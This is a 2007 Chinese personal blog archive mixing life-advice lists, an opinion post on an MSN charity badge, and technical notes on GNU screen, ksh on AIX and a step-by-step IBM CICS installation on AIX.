6,理解食堂阿姨们,他们工资也不高,也就5-600快吧!她们想拿点奖金的话,BOSS只有从你们身上扣点,别端着碗有沙子的白饭喊着“这碗沙子有米耶”!她们年纪也大了,更年期女人容易掉头发,偶尔在菜里面发现了,别动不动就投诉,那会扣她们的奖金!2快钱有饭有菜了,你还指望什么?(还好,没怪过他们。)

7,如果家里还算富有,可以穿NIKE,ADIDA,有钱没有错!但是没有钱也没有错!毕竟在学校穿的太差,自己心里不自然!建议穿些森马,FEEL100%,贵人鸟特步等比较便宜但也适合学生的牌子!最好在有折扣的时候!建议放弃考虑安踏,李宁,邦威!(还好,穿衣没什么追求,只是花了更多的钱去租房子了)

8,不要买手机,首先在于在学校你确实没有那么多事情!其次是中国移动如何优惠,如何让利,它一个月也要从你身上赚个6-70!那够你吃一个星期的食堂了吧!(还好,手机倒是没买。但是买的光盘加起来估计也有几个手机了 :( )

9,如果有电脑,不要用它来看碟,玩游戏,聊天;学点平面设计,编程,系统操作等实用的东西,那对你以后绝对有用!还有配置不需要P43.0,RAM512 的。有个C1。7,RAM256就够你用了,追求时尚你还没有资格!(惭愧啊,当时好像除了因为网络问题聊天不行,其他的游戏,看碟好像就是电脑的主要工作。)

10,切记不要参加学生会干部的竞选,他会提早助长你的官僚作风!让你明白,政治----***是个腐朽,黑暗的玩意!(赞成!)

11,不要以为离开了家就是一种解脱,也不要以为你不想家,而家里就不想你,你应当明白。对你爸妈来讲,大学生有成千上万个,而儿子只有一个!隔三差五给家里报个平安,一句问候就可以了!(可怜天下父母心。)

12,如果失恋了,千万不要喝酒,抽烟来发泄自己!伤身体你可以勉强说是自己的无所谓,可是,那烟酒钱可能是爸妈一天的工资!(恋没有失,烟倒是没有少抽,感觉怎么赖怎么赖。年轻啊!~)

13,中国的文化和历史可以做你自己镜子!大学毕业了,别连(红楼梦)讲什么事情都不知道!多看点书,让你相信还有精神的存在,中国人缺乏信仰已经让自己无地自容了,不要搞的自己象个没有灵魂的躯壳!(看书太少?所以现在找不到黄金屋?)

14,不要看不起民工,妓女。我们的祖先连做民工的资本都没有,或者母系氏族时代,乱伦是一种潮流!社会在变,我们应该理智的用历史眼光看待问题!他们有自己的苦衷!而错误也不在于他们!是社会!别成天喊着反日,应该多了解自己的历史,一个连自己的历史都不懂的人是没有资格开口闭口反对别人的民族的!话说回来,我们能够做的就是抵制日货,让它失去6-7成的市场.(坚持中....)

2007年4月16日星期一

工作三年之後的痛:

1、很快你就会发现几千元的工资不算什么。



2、很快你就会发现金钱的获得是以时间和个人生活的牺牲为代价的。



3、很快你就会发现自己有点小钱但不幸福。



4、很快你就会讨厌自己,讨厌自己的复杂和世故。



5、很快你就会发现你身边的很多人怎么素质这么低,这么俗,而你也快成为这样的了。



6、很快你就会讨厌冬天的,太冷了,太冷清和寂寞了。



7、你会不断地觉醒,不断地继续奋斗,然后你老想着辞职休息,或者再读书,或者再创业。



8、你会偶尔去同学录看看,但你已经不想再说话了。



9、你会偶尔想起自己以前最好的朋友,然后给他/她打个无聊的电话。



10、你会偶尔给自己的初恋情人打个电话,然后你发现自己老了。



11、你甚至会发现自己现在成熟得可怕,一件很复杂的事情,你一眼就看穿了,而你的依据是你对黑暗的了解。



12、你想幸福就要自己花一生的时间去先痛苦。



13、当你工作后发现你喜欢摇滚乐的时候,证明你还在挣扎,当你工作后发现自己喜欢忧郁的轻音乐时,你就快完蛋了 。



工作了才知道,有空调的办公室,不如闹哄哄的教室



工作了才知道,大学里爱情 是游戏,现在爱情是交易.



工作了才知道,有时候一顿饭吃上千块也是一种需要.



工作了才知道,学生都是装大款,真正的有钱人都哭穷



工作了才知道,穿什么不取决与品位,取决与场合.



工作了才知道,学校三点一 线,现在却是画直线.



工作了才知道,原来买房子也是个远大的理想.



工作了才知道,成为社会精英的几率,和中彩票是一样的.



工作了才知道,原来消灭剥削只是一种传说.



工作了才知道,自立的代价是失去更多的自由.



工作了才知道,搞计算机的根本不用等级证,不搞计算机的,等级证是废纸.



工作了才知道,原来在中国的外国企业也是用中文比较多.



工作了才知道,研究生和我们的区别就是刚参加工作时每月多拿200块钱.



工作了才知道,所有证书都是敲门砖,敲开门就没人看了.



工作了才知道,真正英语好的人都是工作以后出于需要自学的.



工作了才知道,学校的老师比起企业的一般领导,社会地位要高很多.



工作了才知道,搞中国人力资源的只要能判断毕业证真伪就行了.



为此,我们都要学会,对着镜子笑,然后说,我很快乐...

2007年4月12日星期四

Unix/Linux 工具: Screen 命令使用

screen your screen
文:林思敬
電子郵件:becks.lin@ec-base.com

前言
screen 是什么

根据其man介绍,screen是个多元化多功能的全屏窗口管理器,每个虚拟终端都可以为你提供DEC VT100 terminal的功能, 也许你会问:DEC VT100 terminal又是什么?如果你登陆过某些字符界面的BBS,或许你会记得在注册时,其要求你输入你的终端机型别,而一般预设就是我们刚刚提到的DEC VT100 termina了.另外screen还附加提供了比如SO 6429 (ECMA 48, ANSI X3.64) and ISO 2022 standards的操作功能.

screen 可以做些什么
如果在以前或许screen 是你登陆 bbs 站的好伴侣,但是相信现在大家都是直接登陆图形界面的也就是WEB界面的BBS.当你正在登陆多个BBS而又不想在多个窗口之间切换.那么screen就可以帮你的忙了。

当然screen可不是专为BBS服务, 它可以让你只需要打开一个终端窗口就可以地处理很多的(进程)事情,举个例子:你正在shell上编写某个程序,碰巧你又需要重新启动某个服务,同时还要 FTP上传个大文件,这个时候就可以使用调用screen,只需要按下3个键就可以无须用鼠标在3个窗口间切换.又或者你使用PUTTY等工具登陆到服务 器,不想在退出时关闭当前的进程,比如你正在复制文件等.这个时候就可以利用screen让你复制文件这个前台进程享受后台进程的"待遇"。

正是因为screen的种种实用功能 ,已经成为不少*unix玩家的必备利器,让*unix的日常操作管理更加方便。

screen使用
使用screen非常简易.只需在SHELL键入screen,便可打开一个screen session。
而在每个screen session 下,所有命令都以 ctrl+a(C-a) 开始。

现在让我来简单介绍基本的命令

C-a c -> Create,开启新的 window
C-a n -> Next,切换到下个 window
C-a p -> Previous,前一个 window
C-a C-a -> Other,在两个 window 间切换
C-a w -> Windows,列出已开启的 windows 有那些
C-a 0 -> 切换到第 0 个 window
C-a 1..9 -> 切换到第 1..9 个window

C-a a -> 发出 C-a,在 emacs, ve, bash, tcsh 下可移到行首

C-a t -> Time,显示当前时间,和系统的 load
C-a K(大写) -> kill window,强行关闭当前的 window

C-a [ -> 进入 copy mode,在 copy mode 下可以回滚、搜索、
复制就像用使用 vi 一样

C-b Backward,PageUp
C-f Forward,PageDown
H(大写) High,将光标移至左上角
L Low,将光标移至左下角
0 移到行首
$ 行末
w forward one word,以字为单位往前移
b backward one word,以字为单位往后移
Space 第一次按为标记区起点,第二次按为终点
Esc 结束 copy mode
C-a ] -> Paste,把刚刚在 copy mode 选定的内容贴上

C-a ? -> Help,显示简单说明

C-a d -> detach,将目前的 screen session (可能含有多个 windows)
丢到后台执行 当按了 C-a d 把 screen session detach 掉后,会回到还没进 screen 时的状态,此时在 screen session 里每个 window 内运行的 process (无论是前台/后台)都在继续执行,即使 logout 也不影响。

下次 login 进来时:

screen -ls -> 显示所有的 screen sessions
screen -r [keyword] -> 选择一个screen session 恢复对话

若 screen -ls 里有 Attached sessions:
screen -d [keyword] -> 强制 detach,以便「接手」过来

实例
说明看了那么多,让我们用一个实际例子来结束我们今天的学习。

在我们开启一个screen后,然后使用joe编辑一个文件,之后因为临时需要离开这时就可以运行Ctrl+a d,显示如下:

[becks@ec-base becks]$ screen
[detached]

这个时候当我们运行ps -e 可以看到pts/2这个我刚刚运行的screen正在运行joe
6264 pts/2 00:00:00 bash
6354 pts/2 00:00:00 joe

而当我们回来后想恢复这个session,只需要键入screen -r,而当你有多个session时候,系统将提示你选择一个,如下:
[becks@ec-base becks]$ screen -r
There are several suitable screens on:
6263.pts-1.ec-base (Detached)
6382.pts-1.ec-base (Detached)
Type "screen [-d] -r [pid.]tty.host" to resume one of them.

输入该session的pid进行恢复
[becks@becks becks]$ screen -r 6263

想退出screen的session,和退出shell一样,只需要键入exit命令,成功退出后将有以下提示
[screen is terminating]

screen的简单用法就介绍到这里,更多的功能和应有请读者参考MAN自行研究.


2007年4月8日星期日

慈善只为时尚?

那一日忽然看到同事和朋友多了I'M的msn符号,还以为MSN又多了隐藏的符号.于是Google了下,却发现是慈善的标志:活动是在美国进行的,同胞们写了I'm的标志没有任何慈善的款额交易产生.然而我还是觉得应该加个I'm的头衔,理由本不必多说...
然而终究发现,理由还是需要多说的,当人们看到新浪中的这篇报道http://tech.sina.com.cn/focus/MSN_helpwy/index.shtml
相信会让所有挂过I'M符号的MSN用户觉得一种说不出的郁闷.而无知的网络暴力也显现出来.我不知道谁是第一个讲I'M符号说成"绿帽子"的,我个人觉得如此为一件慈善事业"冠名"确实显现出此人的狭隘主义.慈善的心灵难道也要背批判?
看看这件事就可以发现至少两个主要问题:
一、慈善宣传的力度.现在什么都可以宣传,但是宣传最少的就是环保和慈善.国家、社会、舆论都没有一个完善宣传慈善的机制和方案。需要帮助的人总是要话很 大的投入(精神的或者物质的或者皆有)才能宣传出来。匮乏的慈善制度,导致真正愿意帮助别人的人永远无法遇见真正需要帮助的人。就像这件事一样,直到看到 这个网页的时候我才知道原来中国有这样需要帮助的孩子。
二、我记得中国特殊的十年里,有两个“凡是”的超级理论。可怜的是现在我们这一代新人一边笑话着这个理论一边走到这个理论的另一边:凡事官方发表出来的正 式消息都是假的,凡是愿意帮助别人的人都有经济的驱动,凡是好人都是傻子,凡是慈善都是为了时尚~~.......(还有更多的)。可笑的理论,让我觉得 只有叹息,只有一句话来形容:以小人之心度君子之腹......
若是您不能有实际的义举,那么请保持一颗关注的心,或者支持这些关注的心灵,若是你连这些也做不到的话,那么请闭住你所谓的新闻评论的烂嘴巴吧。

2007年2月26日星期一

忙碌着,忙碌中...

过去一年的清闲,一年的牢骚,终于在今年开始有反馈了....

反馈就是:忙碌!!!

忙碌着学习,忙碌着出差,忙碌着加班,而这一切只是忙碌工作的一部分,不得不强调的还有同时忙碌的生活.

一切似乎都改变了速度,唯一没变的估计就是我学习英语的速度了.

2007年2月24日星期六

cics 命令 -- cicscp

cicscp

----CICS Control program

语法:

cicscp [-I] [l logFile] [-v] command objectType [options]

描述:

-I 忽略错误.

-l logFile 记录log文件

-v (verbose) 显示cicscp底层命令的输出

command:(常用)

create

destroy

start

stop

objectType:

all

cobol(for Open Systems)

dce

ppcgwy_server(For Open Systems)

region

sfs_server

sna

sna_link(For Open Systems)

telnet_server

2007年1月23日星期二

往来闲中叹,今叹往中闲.

来XXX还没有一个月,已经悔字当头.不是后悔过来,而是后悔以前干得事没几个好好记住,websphere明明装了80遍,http server也配了N次,竟然一点都记不起,就像完完全全没见过一样,真有点佩服自己的记性.

悔之,而无益;叹之,且行之.

只好慢慢再看一遍了,问了下Jae,大概最近也就要看AIX,websphere和cics,就这些可不能再忘了啊...



记碎语以激志......

2007年1月20日星期六

对于老姐的迷惑

看着老姐的blog,我有时候觉得我们两个人简直是两个世界的人.
实际上我们可能真的是两个世界的人.
也许她看到我的blog也会有同样的想法.
我的blog普遍着随意,懒散和我认为技术的讨论.
可是老姐的blog里充满着宗教的气味.

我不是反对宗教的人,但我的确是个没有宗教信仰的人.
我可以理解虔诚的意思.
但是我还是很别扭.
尤其是当她说话和写作这样称呼神父(或者耶稣???):
爸爸......
但是这个"爸爸"不是我们的父亲,
虽然老外也这样称呼:father
但是我还是每次第一反映是我们的父亲.

爸爸...难道不该是父亲么?
说实话我有些厌恶这种叫法.
因为仔细看看周围的广州人很多人受香港的影响.
香港的优势不用说大家也明白,
但是不可回避的是香港人也透着殖民的影子

草莓不叫草莓
叫"士多仳离"(strawberry)
店铺不叫店铺,也不可能叫小卖部
叫"士多店"(store )

现在神父不叫神父
竟然也不叫father,或者类似的音译.
叫爸爸........

Ksh in AIX

一个朋友昨天听说我在学习一些AIX的操作,问了些问题:譬如怎么才能将AIX的shell改为bash,因为Ksh无法删除写错的字符和没有历史记录,且不能用"Tab"key 来做自动不全.

我也有过同样的想法,而且当时就想方设法找途径.

可惜最近的学习,也让我发现有些功能其实是我习惯了Bash(或是windows的)的原因,因为虽然我还没有发现是否Ksh支持自动不全,但是他却是可以删除出错的字符,而且也有历史记录.

以前老是在删除字符时显示:

^?

其实这是由于键盘映射为ACSII 127的问题,也就是Ctrl+? ,若是遇到这种情况:直接用Ctrl+H会更方便或快捷的删除输入错误的字符.或修改映射Ctrl+H

至于我们常用上下键来寻找以前的输入也常常出错,相对应的解决方法:

#set -o vi

然后在输入ESC后(不会有任何显示)在按"K"键"J"键就有上下键的功能.

实际上这是讲命令行的输入方式调试成和vi编辑器类似的方式,在这里同样可以使用"/"来查找以前输入过的command.这样看来,有些地方还是咱没有学通的原因.呵呵

在文章中添加html和javascript的代码

呼呼~,搜索了半天终于找到方法在blog里引用html或者javascript的代码,非常简单,在需要应用的代码段两端加上
<pre></pre>
即可,天哪,简单的我有些纳闷,看来html学的还是不够透彻啊,竟然有这么有用的东西.

2007年1月15日星期一

CICS INSTALL ON AIX

准备安装

设置用于CICS区域和文件管理安装的文件系统

按照顺序(Why?)建立以下JFS,cics安装好后会直接这些目录,建立cics

/var/cics_regions

/var/cics_servers

/var/cics_servers/backups(我未操作)

/var/cics_servers/archives(我未操作)

# smitty crjfs 制作快捷创建,Jae告知:最好先建lv,然后再在上面建立jfs


                        Add a Journaled File System

Move cursor to desired item and press Enter.

Add a Standard Journaled File System
Add a Compressed Journaled File System
Add a Large File Enabled Journaled File System

F1=Help F2=Refresh F3=Cancel Esc+8=Image
Esc+9=Shell Esc+0=Exit Enter=Do

回车后选择需要的卷组再回车


                      Add a Standard Journaled File System

Type or select values in entry fields.
Press Enter AFTER making all desired changes.

[Entry Fields]
Volume group name rootvg
SIZE of file system
Unit Size Megabytes +
* Number of units [1] #
* MOUNT POINT [/var/cics_regions]
Mount AUTOMATICALLY at system restart? yes +
PERMISSIONS read/write +
Mount OPTIONS [] +
Start Disk Accounting? no +
Fragment Size (bytes) 4096 +
Number of bytes per inode 4096 +
Allocation Group Size (MBytes) 8 +
Logical Volume for Log +


F1=Help F2=Refresh F3=Cancel F4=List
Esc+5=Reset Esc+6=Command Esc+7=Edit Esc+8=Image
Esc+9=Shell Esc+0=Exit Enter=Do

创建成功后显示


                             COMMAND STATUS

Command: OK stdout: yes stderr: no

Before command completion, additional instructions may appear below.

Based on the parameters chosen, the new /var/cics_regions JFS file system
is limited to a maximum size of 134217728 (512 byte blocks)

New File System size is 32768

F1=Help F2=Refresh F3=Cancel Esc+6=Command
Esc+8=Image Esc+9=Shell Esc+0=Exit /=Find
n=Find Next

cics_servers jfs 创建同上.

# mount /var/cics_regions

# mount /var/cics_regions

创建CICS用户和组

:

> cics

> cicsterm

mkgroup [组名称] or

# smitty mkgroup


                                  Add a Group

Type or select values in entry fields.
Press Enter AFTER making all desired changes.
[Entry Fields]
* Group NAME [cics]
ADMINISTRATIVE group? false +
Group ID [] #
USER list [root] +
ADMINISTRATOR list [root] +
Projects [] +

F1=Help F2=Refresh F3=Cancel F4=List
Esc+5=Reset Esc+6=Command Esc+7=Edit Esc+8=Image
Esc+9=Shell Esc+0=Exit Enter=Do

创建成功后
:


                                 COMMAND STATUS

Command: OK stdout: no stderr: no

Before command completion, additional instructions may appear below.

F1=Help F2=Refresh F3=Cancel Esc+6=Command
Esc+8=Image Esc+9=Shell Esc+0=Exit /=Find
n=Find Next

cicstem创建同上.

用户:

> cics

> SFS_SERV

mkuser [用户名] or

smitty mkuser

# smitty mkuser


                                   Add a User

Type or select values in entry fields.
Press Enter AFTER making all desired changes.

[TOP] [Entry Fields]
* User NAME [cics]
User ID [] #
ADMINISTRATIVE USER? false +
Primary GROUP [cics] +
Group SET [cics,cicsterm] +
ADMINISTRATIVE GROUPS [cics,cicsterm] +
ROLES [] +
Another user can SU TO USER? true +
SU GROUPS [ALL] +
HOME directory []
Initial PROGRAM []
User INFORMATION []
…….
[MORE...38]

F1=Help F2=Refresh F3=Cancel F4=List
Esc+5=Reset Esc+6=Command Esc+7=Edit Esc+8=Image
Esc+9=Shell Esc+0=Exit Enter=Do

成功后:


                                 COMMAND STATUS

Command: OK stdout: no stderr: no

Before command completion, additional instructions may appear below.

F1=Help F2=Refresh F3=Cancel Esc+6=Command
Esc+8=Image Esc+9=Shell Esc+0=Exit /=Find
n=Find Next

SFS_SERV用户创建同上.

root用户指定为CICS系统管理员

root用户添加到cics cicsterm群组中.

# smitty chgroup


                            Change Group Attributes

Type or select values in entry fields.
Press Enter AFTER making all desired changes.

[Entry Fields]
Group NAME [cics]
Group ID [215] #
ADMINISTRATIVE group? false +
USER list [cics,SFS_SERV,root] +
ADMINISTRATOR list [SFS_SERV,cics,root] +
Projects [] +
F1=Help F2=Refresh F3=Cancel F4=List
Esc+5=Reset Esc+6=Command Esc+7=Edit Esc+8=Image
Esc+9=Shell Esc+0=Exit Enter=Do

cicsterm修改同上

设置环境变量

/etc/environment

$LANG

> en_US

> 语言环境

$PATH

> /usr/lpp/cics/bin:/usr/lpp/encina/bin

> 添加cicsencinabin目录

$NLSPATH

> usr/lib/nls/msg/%L/%N:/usr/lib/nls/msg/%L/%N.cat:/usr/lib/nls/msg/en_US/%N:/usr/lpp/dce/lib/nls/msg/%L/%N

> 用来确定环境变数NLSPATHLC_MESSAGES ( 如果 LC_MESSAGE 不存在则使用LANG )用来指定讯息的语言种类

$ENCINA_BINDING_FILE

>bind SFS 文件

参考:


# @(#)18        1.25  src/bos/etc/environment/environment, cmdsh, 
# bos53A, a2004_35B6 8/23/04 04:13:11
# IBM_PROLOG_BEGIN_TAG
# This is an automatically generated prolog.
# .....
# disclosure restricted by GSA ADP Schedule Contract with IBM Corp.
#......
PATH=/usr/bin:/etc:/usr/sbin:/usr/ucb:/usr/bin/X11:/sbin:/usr/java14/jre/bin:/us
r/java14/bin:/usr/lpp/cics/bin:/usr/lpp/encina/bin
TZ=CST6CDT
LANG=en_US
LOCPATH=/usr/lib/nls/loc
NLSPATH=/usr/lib/nls/msg/%L/%N
RPC_SUPPORTED_PROTSEQS=ncadg_ip_udp
ENCINA_BINDING_FILE=/var/cics_servers/server_bindings
DCE_USE_WCHAR_NAMES=1

安装CICS

smitty install_update or

smitty installp

# smitty installp


                          Install and Update Software

Move cursor to desired item and press Enter.

Install Software
Update Installed Software to Latest Level (Update All)
Install Software Bundle
Update Software by Fix (APAR)
Install and Update from ALL Available Software

F1=Help F2=Refresh F3=Cancel Esc+8=Image
Esc+9=Shell Esc+0=Exit Enter=Do

在提示中输入安装介质目录:cdrom:/dev/cd0.或者指定安装目录.


                                Install Software

Type or select a value for the entry field.
Press Enter AFTER making all desired changes.
[Entry Fields]
* INPUT device / directory for software [] +


F1=Help F2=Refresh F3=Cancel F4=List
Esc+5=Reset Esc+6=Command Esc+7=Edit Esc+8=Image
Esc+9=Shell Esc+0=Exit Enter=Do


                                Install Software

Type or select values in entry fields.
Press Enter AFTER making all desired changes.

[Entry Fields]
* INPUT device / directory for software .
* SOFTWARE to install [cics.base > +
PREVIEW only? (install operation will NOT occur) no +
COMMIT software updates? yes +
SAVE replaced files? no +
AUTOMATICALLY install requisite software? yes +
EXTEND file systems if space needed? yes +
OVERWRITE same or newer versions? no +
VERIFY install and check file sizes? no +
Include corresponding LANGUAGE filesets? yes +
DETAILED output? no +
Process multiple volumes? yes +
ACCEPT new license agreements? yes +
Preview new LICENSE agreements? no +

F1=Help F2=Refresh F3=Cancel F4=List
Esc+5=Reset Esc+6=Command Esc+7=Edit Esc+8=Image
Esc+9=Shell Esc+0=Exit Enter=Do

检验:

lslpp –l “cics.*”

lslpp –l “encina.*”

后期配置

CICS配置DCE(我还未熟悉)

配置仅RPC环境

/usr/lpp/dce/bin/lsdce

正确为:


h50:/ptfs/CICS51/CICSINSTALL# lsdce
Gathering component state information...

Component Summary for Host: [your host]
Component Configuration State
RPC Configured

The component summary is complete.

若有其他服务用以下命令除去

# /usr/lpp/dce/bin/dce.clean
# /usr/lpp/dce/bin/rmdce all

输入下列命令,在机器上配置 DCE RPC 服务:

# /usr/lpp/cics/bin/cicscp -v -l log_file create dce -R

添加环境变量(我还未熟悉)

/etc/environment文件里添加新的参数用来支持些DCE的东东.

CICS_HOSTS=’ hostA hostB hostC’

RPC_SUPPORTED_PROTSEQS=ncadg_ip_udp(好像是要使用的协议)

配置文件管理器和CICS区域

创建log_SFS_SERV & sfs_SFS_SERV 逻辑卷

# smitty mklv


                              Add a Logical Volume

Type or select values in entry fields.
Press Enter AFTER making all desired changes.

[TOP] [Entry Fields]
Logical volume NAME [log_SFS_SERV]
* VOLUME GROUP name datavg
* Number of LOGICAL PARTITIONS [1] #
.................................................................
Mirror Write Consistency? active +
Allocate each logical partition copy yes +
[MORE...12]

F1=Help F2=Refresh F3=Cancel F4=List
Esc+5=Reset Esc+6=Command Esc+7=Edit Esc+8=Image
Esc+9=Shell Esc+0=Exit Enter=Do

log_SFS_SERV & sfs_SFS_SERV设置权限:

# chown SFS_SERV:cics *SFS*

检验:


# ls -l /dev/ |grep SFS                           
brw-rw---- 1 SFS_SERV cics 42, 20 Jan 15 11:12 log_SFS_SERV
crw-rw---- 1 SFS_SERV cics 42, 20 Jan 15 11:12 rlog_SFS_SERV
crw-rw---- 1 SFS_SERV cics 42, 21 Jan 15 11:12 rsfs_SFS_SERV
brw-rw---- 1 SFS_SERV cics 42, 21 Jan 15 11:12 sfs_SFS_SERV

运行cicsdefaultservers(我反正老是忘记)

cicsdefaultservers会建立创建 SFS 服务器、DB2 数据库或对等通信(PPC)网关服务器时 CICS 使用的信息:

* /var/cics_servers/SSD/SSD.stanza,它包含结构化文件服务器定义(SSD

* /var/cics_servers/SCD/SCD.stanza,它包含模式文件服务器定义(SCD

* /var/cics_servers/GSD/GSD.stanza,它包含网关服务器定义(GSD

创建并修改server_bindings文件

/.:/cics/sfs/$HOSTNAME ncadg_ip_udp:$host_ip[$sfs_port]

$host_ip可省略,尤其是对多IP的情况下

创建SFS server

cicscp create sfs_server OR

smitty cics

# smitty cics


             Customer Information Control System (CICS) Version 5.0

Move cursor to desired item and press Enter.

Manage CICS Regions
Manage Encina PPC Gateway Servers
Manage Filesystem

F1=Help F2=Refresh F3=Cancel Esc+8=Image
Esc+9=Shell Esc+0=Exit Enter=Do


                               Manage Filesystem 

Move cursor to desired item and press Enter.

Manage Encina SFS Servers
Manage Schemas

F1=Help F2=Refresh F3=Cancel Esc+8=Image
Esc+9=Shell Esc+0=Exit Enter=Do


                           Manage Encina SFS Servers

Move cursor to desired item and press Enter.

Change Working Encina SFS Server
Cold Start an Encina SFS Server
Auto Start an Encina SFS Server
Shutdown an Encina SFS Server
Define Encina SFS Servers

F1=Help F2=Refresh F3=Cancel Esc+8=Image
Esc+9=Shell Esc+0=Exit Enter=Do


                           Define Encina SFS Servers

Move cursor to desired item and press Enter.

Create
Destroy
Show/Change

F1=Help F2=Refresh F3=Cancel Esc+8=Image
Esc+9=Shell Esc+0=Exit Enter=Do

修改一些设置.其中可以见到为什么前面构建SFS_SERV用户和sfs_SFS_SERV & log_SFS_SERVER 逻辑卷回车后即可


                           Create Encina SFS Server 

Type or select values in entry fields.
Press Enter AFTER making all desired changes.

[TOP] [Entry Fields]
* SFS Server Identifier [SFS]
* Model SFS Server Identifier ""
Ignore errors on creation? no +
Are you using DCE servers? no +
Resource description [SFS Server Definition]
......
Short name used for SRC [SFS_SERV]
AIX user ID for server [%S]
AIX logical volume for data [sfs_%S]
AIX logical volume for logging [log_%S]
Log File Name [logfile]
Name Service for advertising server NONE +

F1=Help F2=Refresh F3=Cancel F4=List
Esc+5=Reset Esc+6=Command Esc+7=Edit Esc+8=Image
Esc+9=Shell Esc+0=Exit Enter=Do

创建Region

cicscp -v create region region_name OR

smitty cics

# smitty cics


             Customer Information Control System (CICS) Version 5.0

Move cursor to desired item and press Enter.

Manage CICS Regions
Manage Encina PPC Gateway Servers
Manage Filesystem

F1=Help F2=Refresh F3=Cancel Esc+8=Image
Esc+9=Shell Esc+0=Exit Enter=Do


                              Manage CICS Regions

Move cursor to desired item and press Enter.

Change Working CICS Region
Cold Start a CICS Region
Auto Start a CICS Region
Shutdown a CICS Region
Define Resources for a CICS Region
Configure CICS Resources on a File Server
Create (Import) a CICS Region
Save (Export) a CICS Region
Copy a CICS Region
Destroy a CICS Region

F1=Help F2=Refresh F3=Cancel Esc+8=Image
Esc+9=Shell Esc+0=Exit Enter=Do


                         Create (Import) a CICS Region

Type or select values in entry fields.
Press Enter AFTER making all desired changes.

[Entry Fields]
* Name of Region to be Created [REG]
Action to be Taken for Resolving Links mandatory +
Force redefinition of region? no +
Group Id. for Region Data []
* Input file [/usr/lpp/cics/DEFAULT] /
Force use or non-use of DCE servers? do not use DCE server> +

F1=Help F2=Refresh F3=Cancel F4=List
Esc+5=Reset Esc+6=Command Esc+7=Edit Esc+8=Image
Esc+9=Shell Esc+0=Exit Enter=Do

配置Region 的文件系统:

先选择建立的Region




Manage CICS Regions

Move cursor to desired item and press Enter.

Change Working CICS Region
Cold Start a CICS Region
Auto Start a CICS Region
Shutdown a CICS Region
Define Resources for a CICS Region
Configure CICS Resources on a File Server
.....

F1=Help F2=Refresh F3=Cancel Esc+8=Image
Esc+9=Shell Esc+0=Exit Enter=Do

选择正确后:


                          COMMAND STATUS

Command: OK stdout: yes stderr: no

Before command completion, additional instructions may appear below.

REG

F1=Help F2=Refresh F3=Cancel Esc+6=Command

Esc+8=Image Esc+9=Shell Esc+0=Exit /=Find

n=Find Next


f3 ESC+3回退一步:


                             Manage CICS  Regions

Move cursor to desired item and press Enter.

Change Working CICS Region

Cold Start a CICS Region

Auto Start a CICS Region

Shutdown a CICS Region

Define Resources for a CICS Region

Configure CICS Resources on a File Server

.....

F1=Help F2=Refresh F3=Cancel Esc+8=Image

Esc+9=Shell Esc+0=Exit Enter=Do



                   Configure CICS Resources  on a File Server

Move cursor to desired item and press Enter.

Configure CICS Resources on an Encina SFS Server

Configure DB2 Database resources

F1=Help F2=Refresh F3=Cancel Esc+8=Image

Esc+9=Shell Esc+0=Exit Enter=Do



                Configure CICS Resources on  an Encina SFS Server

Move cursor to desired item and press Enter.

Configure an Encina SFS Server

Configure an Encina SFS Server for Recoverable Auxiliary TSQs

Configure an Encina SFS Server for Non-Recoverable Auxiliary TSQs

Configure an Encina SFS Server for Logically Recoverable TDQs

Configure an Encina SFS Server for Physically Recoverable TDQs

Configure an Encina SFS Server for Non-Recoverable TDQs

Configure an Encina SFS Server for Locally-Queued Protected STARTs

Configure an Encina SFS Server for Locally-Queued Unprotected STARTs

F1=Help F2=Refresh F3=Cancel Esc+8=Image

Esc+9=Shell Esc+0=Exit Enter=Do


修改对应的SFS server,此时此SFS Data要求要启动


                            Configure Encina  Servers

Type or select values in entry fields.

Press Enter AFTER making all desired changes.

[TOP] [Entry Fields]

* Region Name REG

Ignore errors on configuration? no +

Reset File Server to SFS? no +

* Number of updates 2

SFS server or database storing CICS Queue Data [/.:/cics/sfs/SFS]

Recoverable Auxiliary TSQ Volume Name sfs_%S

Number of pages to preallocate for RecTSQFile 5

Maximum number of records for Recoverable Auxiliar 1000000

y TSQs

Non-recoverable TSQ Volume Name sfs_%S

Number of pages to preallocate for NonRecTSQFile 5

Maximum number of records for Non-recoverable TSQs 1000000

Logically Recoverable TDQ Volume Name sfs_%S

[MORE...18]

F1=Help F2=Refresh F3=Cancel F4=List

Esc+5=Reset Esc+6=Command Esc+7=Edit Esc+8=Image

Esc+9=Shell Esc+0=Exit Enter=Do


启动SFSRegion

cicscp –v start sfs_server [sfs服务名]

# cicscp –v start sfs_server /.:/cics/sfs/SFS

cicscp –v start region [region name]

# cicscp –v start region REG


查看运行状态
#lssrc -a|grep cics